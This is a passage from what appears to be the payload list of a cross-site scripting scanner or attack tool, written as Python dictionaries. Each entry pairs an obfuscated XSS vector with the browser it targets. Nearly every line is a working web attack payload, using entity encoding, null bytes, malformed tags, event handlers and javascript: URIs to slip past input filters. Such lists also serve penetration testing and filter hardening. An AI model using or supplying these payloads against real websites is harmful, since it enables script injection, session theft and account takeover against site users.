    552. 

  552. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v> 1){PAYLOAD}</script>''',
    553. 

  553. 		  'browser':"""[IE]"""},
    554. 

  554. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v== undefined){PAYLOAD}</script>''',
    555. 

  555. 		  'browser':"""[IE]"""},
    556. 

  556. 		{ 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
    557. 

  557. 		  'browser':"""[IE7.0]"""},
    558. 

  558. 		{ 'payload':"""<sVg><scRipt %00>alert&lpar;PAYLOAD&rpar;""",
    559. 

  559. 		  'browser':"""[Opera]"""},
    560. 

  560.         { 'payload':"""<svg><script x:href='PAYLOAD'""",
    561. 

  561.           'browser':"""[Opera]"""},
    562. 

  562.         { 'payload':"""&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(PAYLOAD)>OnMouseOver""",
    563. 

  563.           'browser':"""[Opera|FF2.0]"""},
    564. 

  564.         { 'payload':"""<svg><script psy> alert(PAYLOAD)""",
    565. 

  565.           'browser':"""[Opera]"""},
    566. 

  566.         { 'payload':"""<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>""",
    567. 

  567.           'browser':"""[Chrome]"""},
    568. 

  568.         { 'payload':"""<svg><style>{font-family&colon;'<iframe/onload=confirm(PAYLOAD)>'""",
    569. 

  569.           'browser':"""[Chrome]"""},
    570. 

  570.         { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
    571. 

  571.           'browser':"""[Chrome]"""},
    572. 

  572.         { 'payload':"""<img/src='%00' onerror=this.onerror=confirm(PAYLOAD)""",
    573. 

  573.           'browser':"""[Chrome]"""},
    574. 

  574.         { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
    575. 

  575.           'browser':"""[Chrome]"""},
    576. 

  576.         { 'payload':"""<img src='%00'&NewLine; onerror=alert(PAYLOAD)&NewLine;""",
    577. 

  577.           'browser':"""[Chrome]"""},
    578. 

  578.         { 'payload':"""<script/&Tab; src='PAYLOAD' /&Tab;></script>""",
    579. 

  579.           'browser':"""[Chrome]"""},
    580. 

  580.         { 'payload':"""<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT giveanswerhere=?""",
    581. 

  581.           'browser':"""[Chrome]"""},
    582. 

  582.         { 'payload':"""<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/""",
    583. 

  583.           'browser':"""[Chrome]"""},
    584. 

  584.         { 'payload':"""&#34;&#62;<h1/onmouseover='\u0061lert(PAYLOAD)'>%00""",
    585. 

  585.           'browser':"""[Chrome]"""},
    586. 

  586.         { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=alert(PAYLOAD)>">''',
    587. 

  587.           'browser':"""[Chrome]"""},
    588. 

  588.         { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
    589. 

  589.           'browser':"""[Chrome]"""},
    590. 

  590.         { 'payload':"""<svg><script xlink:href=data&colon;,window.open('PAYLOAD')></script""",
    591. 

  591.           'browser':"""[Chrome] [FF]"""},
    592. 

  592.         { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
    593. 

  593.           'browser':"""[Chrome]"""},
    594. 

  594.         { 'payload':"""<img/&#09;&#10;&#11; src='~' onerror=prompt(PAYLOAD)>""",
    595. 

  595.           'browser':"""[Chrome]"""},
    596. 

  596.         { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
    597. 

  597.           'browser':"""[Chrome]"""},
    598. 

  598.         { 'payload':"""http://www.google<script .com>alert(PAYLOAD)</script""",
    599. 

  599.           'browser':"""[Chrome]"""},
    600. 

  600.         { 'payload':"""<script ^__^>alert(PAYLOAD)</script ^__^""",
    601. 

  601.           'browser':"""[Chrome]"""},
    602. 

  602.         { 'payload':"""</style &#32;><script &#32; :-(>/**/alert(PAYLOAD)/**/</script &#32; :-(""",
    603. 

  603.           'browser':"""[Chrome]"""},
    604. 

  604.         { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
    605. 

  605.           'browser':"""[Chrome]"""},
    606. 

  606.         { 'payload':"""<form><textarea &#13; onkeyup='PAYLOAD'>""",
    607. 

  607.           'browser':"""[Chrome]"""},
    608. 

  608.         { 'payload':"""<script /***/>/***/confirm('PAYLOAD')/***/</script /***/""",
    609. 

  609.           'browser':"""[Chrome]"""},
    610. 

  610.         { 'payload':"""<iframe srcdoc='&lt;body onload=prompt&lpar;PAYLOAD&rpar;&gt;'>""",
    611. 

  611.           'browser':"""[Chrome]"""},
    612. 

  612.         { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
    613. 

  613.           'browser':"""[Chrome]"""},
    614. 

  614.         { 'payload':"""<script ~~~>alert(PAYLOAD)</script ~~~>""",
    615. 

  615.           'browser':"""[Chrome]"""},
    616. 

  616.         { 'payload':"""<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;PAYLOAD&rpar;>""",
    617. 

  617.           'browser':"""[Chrome]"""},
    618. 

  618.         { 'payload':"""<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN""",
    619. 

  619.           'browser':"""[Chrome]"""},
    620. 

  620.         { 'payload':"""<img/src='http://i.imgur.com/removed.png' onmouseover=&Tab;prompt(PAYLOAD)""",
    621. 

  621.           'browser':"""[Chrome]"""},
    622. 

  622.         { 'payload':"""&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(PAYLOAD)>'""",
    623. 

  623.           'browser':"""[Chrome]"""},
    624. 

  624.         { 'payload':"""<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^""",
    625. 

  625.           'browser':"""[Chrome]"""},
    626. 

  626.         { 'payload':"""<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)""",
    627. 

  627.           'browser':"""[Chrome]"""},
    628. 

  628.         { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
    629. 

  629.           'browser':"""[Chrome]"""},
    630. 

  630.         { 'payload':"""//|\\ <script //|\\ src='PAYLOAD'> //|\\ </script //|\\""",
    631. 

  631.           'browser':"""[Chrome]"""},
    632. 

  632.         { 'payload':"""</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>""",
    633. 

  633.           'browser':"""[Chrome]"""},
    634. 

  634.         { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
    635. 

  635.           'browser':"""[Chrome]"""},
    636. 

  636.         { 'payload':"""</plaintext\></|\><plaintext/onmouseover=prompt(PAYLOAD)""",
    637. 

  637.           'browser':"""[Chrome]"""},
    638. 

  638.         { 'payload':"""<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>""",
    639. 

  639.           'browser':"""[Chrome]"""},
    640. 

  640.         { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)">''',
    641. 

  641.           'browser':"""[Chrome]"""},
    642. 

  642.         { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">X</a>''',
    643. 

  643.           'browser':"""[Chrome]"""},
    644. 

  644.         { 'payload':'''<embed src="PAYLOAD">''',
    645. 

  645.           'browser':"""[Chrome]"""},
    646. 

  646.         { 'payload':'''<object data="PAYLOAD">''',
    647. 

  647.           'browser':"""[Chrome]"""},
    648. 

  648.         { 'payload':"""<var onmouseover="prompt(PAYLOAD)">On Mouse Over</var>""",
    649. 

  649.           'browser':"""[Chrome]"""},
    650. 

  650.         { 'payload':'''<img src="/" =_=" title="onerror="prompt(PAYLOAD)"">''',
    651. 

  651.           'browser':"""[Chrome]"""},
    652. 

  652.         { 'payload':"""<%<!--'%><script>alert(PAYLOAD);</script -->""",
    653. 

  653.           'browser':"""[Chrome]"""},
    654. 

  654.         { 'payload':'''<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
    655. 

  655.           'browser':"""[Chrome]"""},
    656. 

  656.         { 'payload':"""<iframe/src \/\/onload = prompt(PAYLOAD)""",
    657. 

  657.           'browser':"""[Chrome]"""},
    658. 

  658.         { 'payload':"""<iframe/onreadystatechange=alert(PAYLOAD)""",
    659. 

  659.           'browser':"""[Chrome] [IE]"""},
    660. 

  660.         { 'payload':"""<svg/onload=alert(PAYLOAD)""",
    661. 

  661.           'browser':"""[Chrome]"""},
    662. 

  662.         { 'payload':"""<input value=<><iframe/src=javascript:confirm(PAYLOAD)""",
    663. 

  663.           'browser':"""[Chrome]"""},
    664. 

  664.         { 'payload':"""<input type='text' value='' <div/onmouseover='alert(PAYLOAD)'>X</div>""",
    665. 

  665.           'browser':"""[Chrome]"""},
    666. 

  666.         { 'payload':"""http://www.<script>alert(PAYLOAD)</script .com""",
    667. 

  667.           'browser':"""[Chrome]"""},
    668. 

  668.         { 'payload':"""<svg><script ?>alert(PAYLOAD)""",
    669. 

  669.           'browser':"""[Chrome]"""},
    670. 

  670.         { 'payload':"""<img src='xx:xx'onerror=alert(PAYLOAD)>""",
    671. 

  671.           'browser':"""[Chrome]"""},
    672. 

  672.         { 'payload':'''<object type="text/x-scriptlet" data="PAYLOAD "></object>''',
    673. 

  673.           'browser':"""[Chrome]"""},
    674. 

  674.         { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
    675. 

  675.           'browser':"""[Chrome]"""},
    676. 

  676.         { 'payload':'''<math><a xlink:href="PAYLOAD">click''',
    677. 

  677.           'browser':"""[Chrome] [FF]"""},
    678. 

  678.         { 'payload':'''<embed code="PAYLOAD" allowscriptaccess=always>''',
    679. 

  679.           'browser':"""[Chrome]"""},
    680. 

  680.         { 'payload':"""<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD""",
    681. 

  681.           'browser':"""[Chrome]"""},
    682. 

  682.         { 'payload':"""<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('PAYLOAD')>""",
    683. 

  683.           'browser':"""[Chrome] [IE]"""},
    684. 

  684.         { 'payload':'''<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert("PAYLOAD")"></script a=\u0061 & /=%2F''',
    685. 

  685.           'browser':"""[Chrome]"""},
    686. 

  686.         { 'payload':"""<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/PAYLOAD/)></script""",
    687. 

  687.           'browser':"""[Chrome]"""},
    688. 

  688.         { 'payload':"""<object data=javascript&colon;\u0061&#x6C;&#101%72t(PAYLOAD)>""",
    689. 

  689.           'browser':"""[Chrome]"""},
    690. 

  690.         { 'payload':"""<script>+-+-1-+-+alert(PAYLOAD)</script>""",
    691. 

  691.           'browser':"""[Chrome]"""},
    692. 

  692.         { 'payload':"""<body/onload=&lt;!--&gt;&#10alert(PAYLOAD)>""",
    693. 

  693.           'browser':"""[Chrome]"""},
    694. 

  694.         { 'payload':"""<img src ?psy?\/onerror = alert(PAYLOAD)""",
    695. 

  695.           'browser':"""[Chrome]"""},
    696. 

  696.         { 'payload':"""<svg><script>//&NewLine;confirm(PAYLOAD);</script </svg>""",
    697. 

  697.           'browser':"""[Chrome]"""},
    698. 

  698.         { 'payload':"""<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(PAYLOAD)>ClickMe""",
    699. 

  699.           'browser':"""[Chrome]"""},
    700. 

  700.         { 'payload':"""<script x> alert(PAYLOAD) </script 1=2""",
    701. 

  701.           'browser':"""[Chrome]"""},
    702. 

  702.         { 'payload':"""<div/onmouseover='alert(PAYLOAD)'> style='x:'>""",
    703. 

  703.           'browser':"""[Chrome]"""},
    704. 

  704.         { 'payload':"""<--'<img/src=' onerror=alert(PAYLOAD)> --!>""",
    705. 

  705.           'browser':"""[Chrome]"""},
    706. 

  706.         { 'payload':"""<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(PAYLOAD)></script>""",
    707. 

  707.           'browser':"""[Chrome]"""},
    708. 

  708.         { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
    709. 

  709.           'browser':"""[Chrome]"""},
    710. 

  710.         { 'payload':"""'><img src=x onerror=window.open('PAYLOAD');>""",
    711. 

  711.           'browser':"""[Chrome]"""},
    712. 

  712.         { 'payload':"""<form><button formaction=javascript&colon;alert(PAYLOAD)>CLICKME""",
    713. 

  713.           'browser':"""[Chrome]"""},
    714. 

  714.         { 'payload':"""<form id="test" /><button form="test" formaction="javascript:PAYLOAD">X""",
    715. 

  715.           'browser':"""[HTML5 Injection]"""},
    716. 

  716.         { 'payload':"""<input onfocus=javascript:PAYLOAD autofocus>""",
    717. 

  717.           'browser':"""[HTML5 Injection]"""},
    718. 

  718.         { 'payload':"""<select onfocus=javascript:PAYLOAD autofocus>""",
    719. 

  719.           'browser':"""[HTML5 Injection]"""},
    720. 

  720.         { 'payload':"""<textarea onfocus=javascript:PAYLOAD autofocus>""",
    721. 

  721.           'browser':"""[HTML5 Injection]"""},
    722. 

  722.         { 'payload':"""<keygen onfocus=javascript:PAYLOAD autofocus>""",
    723. 

  723.           'browser':"""[HTML5 Injection]"""},
    724. 

  724.         { 'payload':"""<input onblur=javascript:PAYLOAD autofocus><input autofocus>""",
    725. 

  725.           'browser':"""[HTML5 Injection]"""},
    726. 

  726.         { 'payload':"""<body onscroll=PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>""",
    727. 

  727.           'browser':"""[HTML5 Injection]"""},
    728. 

  728.         { 'payload':"""X<form id=test onforminput=javascript:PAYLOAD><input></form>""",
    729. 

  729.           'browser':"""[HTML5 Injection]"""},
    730. 

  730.         { 'payload':"""X<form id=test><input></form><button form=test onformchange==javascript:PAYLOAD>X""",
    731. 

  731.           'browser':"""[HTML5 Injection]"""},
    732. 

  732.         { 'payload':'''<img src=1 href=1 onerror="javascript:PAYLOAD"></img>''',
    733. 

  733. 		  'browser':"""[Not Info]"""},
    734. 

  734.         { 'payload':'''<audio src=1 href=1 onerror="javascript:PAYLOAD"></audio>''',
    735. 

  735. 		  'browser':"""[Not Info]"""},
    736. 

  736.         { 'payload':'''<video src=1 href=1 onerror="javascript:PAYLOAD"></video>''',
    737. 

  737. 		  'browser':"""[Not Info]"""},
    738. 

  738.         { 'payload':'''<body src=1 href=1 onerror="javascript:PAYLOAD"></body>''',
    739. 

  739. 		  'browser':"""[Not Info]"""},
    740. 

  740.         { 'payload':'''<image src=1 href=1 onerror="javascript:PAYLOAD"></image>''',
    741. 

  741. 		  'browser':"""[Not Info]"""},
    742. 

  742.         { 'payload':'''<object src=1 href=1 onerror="javascript:PAYLOAD"></object>''',
    743. 

  743. 		  'browser':"""[Not Info]"""},
    744. 

  744.         { 'payload':'''<script src=1 href=1 onerror="javascript:PAYLOAD"></script>''',
    745. 

  745. 		  'browser':"""[Not Info]"""},
    746. 

  746.         { 'payload':'''<svg onResize svg onResize="javascript:javascript:PAYLOAD"></svg onResize>''',
    747. 

  747. 		  'browser':"""[Not Info]"""},
    748. 

  748.         { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:PAYLOAD"></title onPropertyChange>''',
    749. 

  749. 		  'browser':"""[Not Info]"""},
    750. 

  750.         { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:PAYLOAD"></iframe onLoad>''',
    751. 

  751. 		  'browser':"""[Not Info]"""},
    752. 

  752.         { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:PAYLOAD"></body onMouseEnter>''',
    753. 

  753. 		  'browser':"""[Not Info]"""},
    754. 

  754.         { 'payload':'''<body onFocus body onFocus="javascript:javascript:PAYLOAD"></body onFocus>''',
    755. 

  755. 		  'browser':"""[Not Info]"""},
    756. 

  756.         { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:PAYLOAD"></frameset onScroll>''',
    757. 

  757. 		  'browser':"""[Not Info]"""},
    758. 

  758.         { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:javascript:PAYLOAD"></script onReadyStateChange>''',
    759. 

  759. 		  'browser':"""[Not Info]"""},
    760. 

  760.         { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:PAYLOAD"></html onMouseUp>''',
    761. 

  761. 		  'browser':"""[Not Info]"""},
    762. 

  762.         { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:PAYLOAD"></body onPropertyChange>''',
    763. 

  763. 		  'browser':"""[Not Info]"""},
    764. 

  764.         { 'payload':'''<svg onLoad svg onLoad="javascript:javascript:PAYLOAD"></svg onLoad>''',
    765. 

  765. 		  'browser':"""[Not Info]"""},
    766. 

  766.         { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:PAYLOAD"></body onPageHide>''',
    767. 

  767. 		  'browser':"""[Not Info]"""},
    768. 

  768.         { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:PAYLOAD"></body onMouseOver>''',
    769. 

  769. 		  'browser':"""[Not Info]"""},
    770. 

  770.         { 'payload':'''<body onUnload body onUnload="javascript:javascript:PAYLOAD"></body onUnload>''',
    771. 

  771. 		  'browser':"""[Not Info]"""},
    772. 

  772.         { 'payload':'''<body onLoad body onLoad="javascript:javascript:PAYLOAD"></body onLoad>''',
    773. 

  773. 		  'browser':"""[Not Info]"""},
    774. 

  774.         { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:PAYLOAD"></bgsound onPropertyChange>''',
    775. 

  775. 		  'browser':"""[Not Info]"""},
    776. 

  776.         { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:PAYLOAD"></html onMouseLeave>''',
    777. 

  777. 		  'browser':"""[Not Info]"""},
    778. 

  778.         { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:PAYLOAD"></html onMouseWheel>''',
    779. 

  779. 		  'browser':"""[Not Info]"""},
    780. 

  780.         { 'payload':'''<style onLoad style onLoad="javascript:javascript:PAYLOAD"></style onLoad>''',
    781. 

  781. 		  'browser':"""[Not Info]"""},
    782. 

  782.         { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:PAYLOAD"></iframe onReadyStateChange>''',
    783. 

  783. 		  'browser':"""[Not Info]"""},
    784. 

  784.         { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:PAYLOAD"></body onPageShow>''',
    785. 

  785. 		  'browser':"""[Not Info]"""},
    786. 

  786.         { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:PAYLOAD"></style onReadyStateChange>''',
    787. 

  787. 		  'browser':"""[Not Info]"""},
    788. 

  788.         { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:PAYLOAD"></frameset onFocus>''',
    789. 

  789. 		  'browser':"""[Not Info]"""},
    790. 

  790.         { 'payload':'''<applet onError applet onError="javascript:javascript:PAYLOAD"></applet onError>''',
    791. 

  791. 		  'browser':"""[Not Info]"""},
    792. 

  792.         { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:PAYLOAD"></marquee onStart>''',
    793. 

  793. 		  'browser':"""[Not Info]"""},
    794. 

  794.         { 'payload':'''<script onLoad script onLoad="javascript:javascript:PAYLOAD"></script onLoad>''',
    795. 

  795. 		  'browser':"""[Not Info]"""},
    796. 

  796.         { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:PAYLOAD"></html onMouseOver>''',
    797. 

  797. 		  'browser':"""[Not Info]"""},
    798. 

  798.         { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:PAYLOAD"></html onMouseEnter>''',
    799. 

  799. 		  'browser':"""[Not Info]"""},
    800. 

  800.         { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:PAYLOAD"></body onBeforeUnload>''',
    801. 

  801. 		  'browser':"""[Not Info]"""},
    802. 

  802.         { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:PAYLOAD"></html onMouseDown>''',
    803. 

  803. 		  'browser':"""[Not Info]"""},
    804. 

  804.         { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:PAYLOAD"></marquee onScroll>''',
    805. 

  805. 		  'browser':"""[Not Info]"""},
    806. 

  806.         { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:PAYLOAD"></xml onPropertyChange>''',
    807. 

  807. 		  'browser':"""[Not Info]"""},
    808. 

  808.         { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:PAYLOAD"></frameset onBlur>''',
    809. 

  809. 		  'browser':"""[Not Info]"""},
    810. 

  810.         { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:PAYLOAD"></applet onReadyStateChange>''',
    811. 

  811. 		  'browser':"""[Not Info]"""},
    812. 

  812.         { 'payload':'''<svg onUnload svg onUnload="javascript:javascript:PAYLOAD"></svg onUnload>''',
    813. 

  813. 		  'browser':"""[Not Info]"""},
    814. 

  814.         { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:PAYLOAD"></html onMouseOut>''',
    815. 

  815. 		  'browser':"""[Not Info]"""},
    816. 

  816.         { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:PAYLOAD"></body onMouseMove>''',
    817. 

  817. 		  'browser':"""[Not Info]"""},
    818. 

  818.         { 'payload':'''<body onResize body onResize="javascript:javascript:PAYLOAD"></body onResize>''',
    819. 

  819. 		  'browser':"""[Not Info]"""},
    820. 

  820.         { 'payload':'''<object onError object onError="javascript:javascript:PAYLOAD"></object onError>''',
    821. 

  821. 		  'browser':"""[Not Info]"""},
    822. 

  822.         { 'payload':'''<body onPopState body onPopState="javascript:javascript:PAYLOAD"></body onPopState>''',
    823. 

  823. 		  'browser':"""[Not Info]"""},
    824. 

  824.         { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:PAYLOAD"></html onMouseMove>''',
    825. 

  825. 		  'browser':"""[Not Info]"""},
    826. 

  826.         { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:PAYLOAD"></applet onreadystatechange>''',
    827. 

  827. 		  'browser':"""[Not Info]"""},
    828. 

  828.         { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:PAYLOAD"></body onpagehide>''',
    829. 

  829. 		  'browser':"""[Not Info]"""},
    830. 

  830.         { 'payload':'''<svg onunload svg onunload="javascript:javascript:PAYLOAD"></svg onunload>''',
    831. 

  831. 		  'browser':"""[Not Info]"""},
    832. 

  832.         { 'payload':'''<applet onerror applet onerror="javascript:javascript:PAYLOAD"></applet onerror>''',
    833. 

  833. 		  'browser':"""[Not Info]"""},
    834. 

  834.         { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:PAYLOAD"></body onkeyup>''',
    835. 

  835. 		  'browser':"""[Not Info]"""},
    836. 

  836.         { 'payload':'''<body onunload body onunload="javascript:javascript:PAYLOAD"></body onunload>''',
    837. 

  837. 		  'browser':"""[Not Info]"""},
    838. 

  838.         { 'payload':'''<iframe onload iframe onload="javascript:javascript:PAYLOAD"></iframe onload>''',
    839. 

  839. 		  'browser':"""[Not Info]"""},
    840. 

  840.         { 'payload':'''<body onload body onload="javascript:javascript:PAYLOAD"></body onload>''',
    841. 

  841. 		  'browser':"""[Not Info]"""},
    842. 

  842.         { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:PAYLOAD"></html onmouseover>''',
    843. 

  843. 		  'browser':"""[Not Info]"""},
    844. 

  844.         { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:PAYLOAD"></object onbeforeload>''',
    845. 

  845. 		  'browser':"""[Not Info]"""},
    846. 

  846.         { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:PAYLOAD"></body onbeforeunload>''',
    847. 

  847. 		  'browser':"""[Not Info]"""},
    848. 

  848.         { 'payload':'''<body onfocus body onfocus="javascript:javascript:PAYLOAD"></body onfocus>''',
    849. 

  849. 		  'browser':"""[Not Info]"""},
    850. 

  850.         { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:PAYLOAD"></body onkeydown>''',
    851. 

  851. 		  'browser':"""[Not Info]"""},
    852. 

  852.         { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:PAYLOAD"></iframe onbeforeload>''',
    853. 

  853. 		  'browser':"""[Not Info]"""},
    854. 

  854.         { 'payload':'''<iframe src iframe src="javascript:javascript:PAYLOAD"></iframe src>''',
    855. 

  855. 		  'browser':"""[Not Info]"""},
    856. 

  856.         { 'payload':'''<svg onload svg onload="javascript:javascript:PAYLOAD"></svg onload>''',
    857. 

  857. 		  'browser':"""[Not Info]"""},
    858. 

  858.         { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:PAYLOAD"></html onmousemove>''',
    859. 

  859. 		  'browser':"""[Not Info]"""},
    860. 

  860.         { 'payload':'''<body onblur body onblur="javascript:javascript:PAYLOAD"></body onblur>''',
    861. 

  861. 		  'browser':"""[Not Info]"""},
    862. 

  862.         { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:PAYLOAD> -->''',
    863. 

  863. 		  'browser':"""[Not Info]"""},
    864. 

  864.         { 'payload':'''"`'><script>-javascript:PAYLOAD</script>''',
    865. 

  865. 		  'browser':"""[Not Info]"""},
    866. 

  866.         { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    867. 

  867. 		  'browser':"""[Not Info]"""},
    868. 

  868.         { 'payload':'''<form id=test onforminput=javascript:PAYLOAD><input></form><button form=test onformchange=javascript:PAYLOAD>X''',
    869. 

  869. 	      'browser':"""[Not Info]"""},
    870. 

  870.         { 'payload':'''<video><source onerror="javascript:javascript:PAYLOAD">''',
    871. 

  871. 		  'browser':"""[HTML5 Injection]"""},
    872. 

  872.         { 'payload':'''<form><button formaction="javascript:javascript:PAYLOAD">X''',
    873. 

  873. 		  'browser':"""[Not Info]"""},
    874. 

  874.         { 'payload':'''<body oninput=javascript:PAYLOAD><input autofocus>''',
    875. 

  875. 		  'browser':"""[Not Info]"""},
    876. 

  876.         { 'payload':'''<math href="javascript:javascript:PAYLOAD">X</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:PAYLOAD">X</maction> </math>''',
    877. 

  877. 		  'browser':"""[Not Info]"""},
    878. 

  878.         { 'payload':'''<frameset onload=javascript:PAYLOAD>''',
    879. 

  879. 		  'browser':"""[Not Info]"""},
    880. 

  880.         { 'payload':'''<table background="javascript:javascript:PAYLOAD">''',
    881. 

  881. 		  'browser':"""[Not Info]"""},
    882. 

  882.         { 'payload':'''<!--<img src="--><img src=x onerror=javascript:PAYLOAD//">''',
    883. 

  883. 		  'browser':"""[Not Info]"""},
    884. 

  884.         { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:PAYLOAD)//">''',
    885. 

  885. 		  'browser':"""[Not Info]"""},
    886. 

  886.         { 'payload':'''<![><img src="]><img src=x onerror=javascript:PAYLOAD//">''',
    887. 

  887. 		  'browser':"""[Not Info]"""},
    888. 

  888.         { 'payload':'''<style><img src="</style><img src=x onerror=javascript:PAYLOAD//">''',
    889. 

  889. 		  'browser':"""[Not Info]"""},
    890. 

  890.         { 'payload':'''<li style=list-style:url() onerror=javascript:PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:PAYLOAD></div>''',
    891. 

  891. 		  'browser':"""[Not Info]"""},
    892. 

  892.         { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:PAYLOAD//#">X</a></body>''',
    893. 

  893. 		  'browser':"""[Not Info]"""},
    894. 

  894.         { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:PAYLOAD</SCRIPT>''',
    895. 

  895. 		  'browser':"""[Not Info]"""},
    896. 

  896.         { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:PAYLOAD"></OBJECT>''',
    897. 

  897. 		  'browser':"""[Not Info]"""},
    898. 

  898.         { 'payload':'''<b <script>PAYLOAD</script>0''',
    899. 

  899. 		  'browser':"""[Not Info]"""},
    900. 

  900.         { 'payload':'''<div id="div1"><input value="``onmouseover=javascript:PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
    901. 

  901. 		  'browser':"""[Not Info]"""},
    902. 

  902.         { 'payload':'''<x '="foo"><x foo='><img src=x onerror=javascript:PAYLOAD//'>''',
    903. 

  903. 	      'browser':"""[Not Info]"""},
    904. 

  904.         { 'payload':'''<embed src="javascript:PAYLOAD">''',
    905. 

  905. 		  'browser':"""[Not Info]"""},
    906. 

  906.         { 'payload':'''<image src="javascript:PAYLOAD">''',
    907. 

  907. 		  'browser':"""[Not Info]"""},
    908. 

  908.         { 'payload':'''<img src="javascript:PAYLOAD">''',
    909. 

  909. 		  'browser':"""[Not Info]"""},
    910. 

